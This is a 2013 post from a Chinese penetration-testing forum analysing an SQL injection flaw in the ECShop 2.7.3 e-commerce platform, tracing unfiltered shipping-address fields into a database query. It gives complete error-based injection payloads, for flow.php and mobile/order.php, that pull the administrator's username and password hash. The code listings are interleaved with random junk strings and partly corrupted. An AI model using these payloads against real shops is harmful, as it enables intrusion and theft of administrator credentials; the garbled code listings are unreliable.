中国网络渗透测试联盟

标题: ecshop全版本注入分析 [打印本页]

作者: admin    时间: 2013-1-13 09:48
标题: ecshop全版本注入分析
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
% f+ w4 a. y5 {3 s: H
, u" ?3 G3 z2 z% P    漏洞关键文件:6 ?) C! N: L9 A
6 ^& I* m; d7 Z, f6 t6 T9 T
    /includes/lib_order.php9 U/ ?/ J. U: w: |* _  Q# F

, \& P1 v( `7 h: u9 Z    关键函数:
; @5 _; S1 \4 L' x8 j
. S+ f3 @9 H3 e0 m( L
, q' Y6 |9 }8 J# @: l( r! M
( d; J# i+ O2 {# j01     function available_shipping_list($region_id_list) 6 z8 y3 m" z8 G
( P. w, W# ?& M2 Q
02 {
$ ?1 d5 z' a: W7 i2 G8 b: s. a8 G- u: s2 Z- O+ q, {
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
- C0 a0 {- d9 O
& K$ m8 t- g( ]# i04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . ) _* Q" S" S( Y  t6 L
! |! [. ]1 P) R0 ^
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 8 t: R& t1 Y1 v" f

  D& P8 U% M8 I3 i) N, A06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
: o( C* M3 q' ?' ?8 _1 H6 p7 K5 |2 |
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
/ a% L$ H1 w1 a- O4 [3 |: s' E0 S  M2 [' f# c0 @
08             'WHERE r.region_id ' . db_create_in($region_id_list) . ! m( P; C: p) ]2 H/ ]
7 a$ C" j7 w) o; y& w3 E* d
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; 5 z2 ~7 Y3 L1 `

2 ~, J+ ?* g: H6 l8 I10   4 j* a$ w  j* c& U
5 T9 k6 v! H, y* l7 Y) H
11     return $GLOBALS['db']->getAll($sql); . b2 w) A/ B" {( b* E  K

1 [; b$ `. m$ F8 f0 v12 } " E5 x4 v" A; }1 N
. n7 G* G. e: f  c1 m$ y
显然对传入的参数没有任何过滤就带入了查询语句。1 `, Z  v7 I; ?+ [5 b5 H2 a+ i0 \
/ ~2 U3 D# m6 H" Y
下面我们追踪这个函数在flow.php中:
, v8 \  U# X$ ^3 I* b) i 第531行:   ! H5 [, i; i' P: P! e& Q

' ]" v4 \' |) p, w2 _1 $shipping_list     = available_shipping_list($region);
- v* K% A, O4 V2 W  A, m
: b9 k( r/ Y3 y$ I ! H- w5 v; S0 l2 |- K: L
$ X: h) Y$ ^4 P# n6 n* X

, v0 ~4 D: h+ A* V, S( w
4 y* p. }- w/ E% X; g' R% i再对传入变量进行追踪:2 w4 l! n. r5 D1 F' T
' v* n/ K+ S* M3 X
第530行:   
8 w+ z7 m) ]2 S% j
3 Y7 P9 u6 ~0 Q; E  S8 ^1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 6 T9 N7 n& c; {! E: |) Y9 S

( S7 B, P* T7 R0 h& Q 8 X9 c! s8 x" c4 M* ^; W
! }$ |2 f. L) h( K3 @* p% Z5 R$ w
9 j5 Z( b0 X0 X& e# O! _6 N" Y+ f
, Y/ J' g( C9 ]6 P+ M7 s2 H* ^
第473行:        7 [1 X' i% I4 E; [2 o7 \
2 h! Y7 L: _1 I( k3 S4 _
1 $consignee = get_consignee($_SESSION['user_id']); - L% H6 X& {. [1 Y$ _1 K0 \
5 Z$ W9 T$ c' A/ f
到了一个关键函数:. o. E4 [' q6 y. x
+ \2 w7 U/ G! D+ A
/includes/lib_order.php
. C+ Z/ ?7 `0 B7 Y7 c' j7 E, `" E8 w  o& v6 l( z
4 v& i! ]5 u0 B' F9 m) W: ^
, {6 b) J+ U2 Y! O8 W
8 e1 ?6 R( ]1 {

7 ~4 n% }2 a1 y  B4 p01 function get_consignee($user_id)
: L2 ]+ `- k" N7 h5 e- R3 q1 p* O0 |( o
& c( A: _( n  `2 P! W02 { : A9 R& I/ {7 P3 C- W
: j7 ]) r) [7 F- I: A
03     if (isset($_SESSION['flow_consignee'])) # n" ^- m3 u7 i9 p$ O2 H7 D" @: T

, N; |) t+ O' M1 c5 D04     { 8 K7 W0 w, s: O# x$ `, F$ u& F

) x3 r" _" b$ U8 `8 [7 r05         /* 如果存在session,则直接返回session中的收货人信息 */ 5 |# ]7 z$ D6 p
6 J" ~& H2 W" D7 H
06   ! [- w9 H. U. L: g: @7 w- u. b
" u' N/ Y" V" b$ {
07         return $_SESSION['flow_consignee'];
/ V" ?+ {) l, E3 _! @; c# x$ o- ]/ G$ ?2 h
08     }
8 [& k3 j. J) X3 V
. m$ e2 Z( j! P- a4 \09     else
+ q; r. l) n8 J# a: H; k2 [. S( }2 [
10     {
, M& Y9 U' w$ @3 T/ N
8 \: _8 H( N2 J1 Z* r! S3 L. g  @- v11         /* 如果不存在,则取得用户的默认收货人信息 */ ! ]7 W# P, i9 |9 Y) S

- \) x9 h2 F8 C/ z4 {12         $arr = array(); 3 Z% D6 T  Y: S5 n  Q" `# Y  `
' Z. b3 F4 Y5 W' T
13     r5 i# `" g7 E# J
, U8 W0 a* s, R4 D3 _) g7 V
14         if ($user_id > 0)
+ b5 ~* k9 j- t! ?- k
" [! @' R% U5 C; W3 C15         {
* x, m9 r5 \& E# n' |  G4 U  W/ E0 l+ T+ Q; G! r. @, K- w9 V
16             /* 取默认地址 */ & k( u% d, q& |1 p2 l4 q
6 `& n9 A" i5 Z7 ]
17             $sql = "SELECT ua.*". / d, q% L3 O0 q5 z

% ?- c4 k/ m. U. B18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
  a# W) h; {; p. r2 E
  M+ x3 A( n7 q* J9 V19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; . n2 M2 X# s0 H$ u' f, e

8 o; g' @) O' t# ~8 C$ b9 K20   
, K3 n6 j: P6 J$ ?" l$ c, z2 u: u! V0 m0 z5 |- c# v5 m( F
21             $arr = $GLOBALS['db']->getRow($sql); ! o) U; X: Q! x0 L, T1 x

/ l; D  J/ C! |2 w22         } $ l& j5 f; x9 g
% K& R* ^# k) O/ S
23   0 v! h3 b* Z6 W1 ?
! i0 S4 W; I9 E% \* c' H- _% P
24         return $arr; 1 j1 ^6 a9 {: Z+ O7 o; l
* U) W0 U; i2 y; M. G5 m' j
25     }
* `0 `9 i2 G8 P- |3 V& e4 v3 s- Q. L1 e+ _- T" f
26 } ! B4 B' k9 N# t! r

9 |6 w) V- m9 C9 Q% S& O  b1 T显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?: t9 @0 V) L4 b4 n

6 z- B+ ^0 @# ?
) a3 p2 x) u( c! I0 k$ ^6 I, t2 V& c/ H$ c* a% F7 A. G% D
关键点:
7 W# l8 }# d& Z/ e9 a- z
6 g0 m0 t$ w4 a# Z8 F+ U! e第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
/ ~7 D; }  `8 V2 H+ S2 b# A
+ p( f( C1 Q3 j, d. A4 w( z6 }这里对传入参数反转义存入$_SESSION中。( |, E) h( S0 |' F$ {* [  \' u

, C7 t; f# L9 d; M0 g2 B4 F; @
3 k, _1 Q" E% n
8 m2 Z( P$ a/ ]然后看下:
4 `) m2 {  s5 I4 ]9 }0 Z% |1 J# N5 A: n: ?+ U- J2 v
' h+ \% t. p# S" ]' r0 K

' s: K  a& @. }5 r5 g1 _+ L    3 x4 X, K4 P4 T; h$ p
  P" K- K* A0 D8 r
01 $consignee = array(
+ c  N! G9 d4 K$ \) x; @6 {4 Z( G$ K4 |6 \2 T
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
  N1 T, u( W" B9 f' T' L* P# `$ Y2 c  \( {7 {, B
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']), ' I5 T8 j  t" o: s: Y

( a6 ]: F% w& U0 ?! {1 E04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
8 |, v& D* ]6 [+ b0 J- l5 Y& Z* ~* j8 ?  J
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
! r  `& a0 Z+ x2 R6 Y3 H5 P
! V6 ^2 ~! ^! G+ e6 `06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
: J, B; W0 d! y: s  s8 Z, G- l4 h, M9 d7 H$ V% [5 A
07         'district'      => empty($_POST['district'])   ? '' _POST['district'], ( ^8 ~" }3 x9 [; Q# M

. C: K9 c7 \9 ], i08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
; I0 N" `9 i% a3 ?' G0 j
: }( O( v9 U$ c7 s, v09         'address'       => empty($_POST['address'])    ? '' _POST['address'], ' [( C. z3 _. c" X0 h
6 z- ]: v6 T6 Y+ g' s# U- E& q
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
% j. t& R) c7 L. P$ c) r& |5 A; s% ~' h; [1 B- U7 v# u
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
7 O: q4 w" d% G4 ~! z
: e2 q+ w1 f) l+ Y) g  t12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), ; i! |  D# B( f4 `$ ?- K( A8 U& C

0 x- t" F4 s) F" H13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
8 h: j  V4 d( B3 z- |) x1 L4 X; w! L# v% J, U8 _  f1 g" P
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], 4 c- r4 x7 m$ B* F- H

8 L8 f) \) H  k8 b+ M( V15     );
; G- n: Z, J- M7 w" ]( P  e1 x+ X# @8 i* a, {3 A* e, F9 Q$ f
好了注入就这样出现了。) d2 {4 H  a' ^  }

4 Y$ C0 w" x) U  J1 b1 H==================6 p7 q0 t! c9 l2 I0 K. @8 h
. G* ~4 |7 P( B1 l. C
注入测试:3 K+ [+ x$ {. @4 U

' M8 G! k) w! T! d- ^9 k环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
) O4 u- o3 {1 E4 w$ M  f# L: c
' C7 b5 [- v+ f: s  L, ]( N+ v* ^测试程序:ECShop_V2.7.3_UTF8_release1106( i$ ~" m, y0 a% z% [

' X) L7 B- b/ m) l& |# t) k
0 B" A. @( t, ^1 P* ^9 ~- `' Z- @. O% }
1.首先需要点击一个商品加入购物车
5 Z+ j' ~5 \6 f) G( u" f+ _8 l  C+ l- T
2.注册一个会员帐号
8 d8 [4 Y! k, C- X: O, d/ ]! Y1 a9 W3 S9 t! e
3.post提交数据! o1 p. N) L8 U  V
! [! n7 k8 P* Q

* g- ?& H# s- z, d
" j7 h5 b4 f: k0 B( t; i1 http://127.0.0.1/ecshop/flow.php ; R) B& L3 S. {& }1 b

( m4 U/ A: U% g5 X9 r$ e2   
- K4 J* f) x" ^& q8 ^  |# D( ^2 }- ?( i. ^' {( Q
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= & z4 n" `. u3 h, ]8 m* E$ o
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
  a* K- ]' g7 q6 P& ^) a0 @* R8 g: ?! Y4 [
我们搜寻关键函数function available_shipping_list()( S, E* W9 ~/ {5 L/ v. j

2 E1 C4 E' l* ^8 B/ U+ Z: N在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
( q7 E) p5 Z: e& \% n) L# j7 H) @' Z$ O) M7 F! ?/ U; r+ q
利用exp:6 a  G2 ?* K9 u" ?7 v: r" Z2 ]

0 p( m7 M- K7 J' e: U1.点击一个商品,点击购买商标
7 l5 ?: y7 H  |& a" d4 f! k- {/ s
+ [; v- G0 v' z# k! B: R2.登录会员帐号' H- |8 f& x; Z( C9 y8 H
2 f! G$ T8 O4 Z2 d" p- w( ]- t
3.post提交:) a. _' q) W, J/ [, I8 R% ~
3 Y4 y1 K9 a, |, F, E  B
http://127.0.0.1/ecshop/mobile/order.php; K' x8 z  Q+ L9 e8 L  k& _
, b5 M  e7 |9 ^8 r) A" T' u

8 q4 D  h- d6 }$ d5 f8 G: T( j$ L6 w) ?! P7 V) h- Q
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=- p6 e0 K* k$ M: F+ G- I# h. A
! ]" x! o: [/ z* Q+ A6 u





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2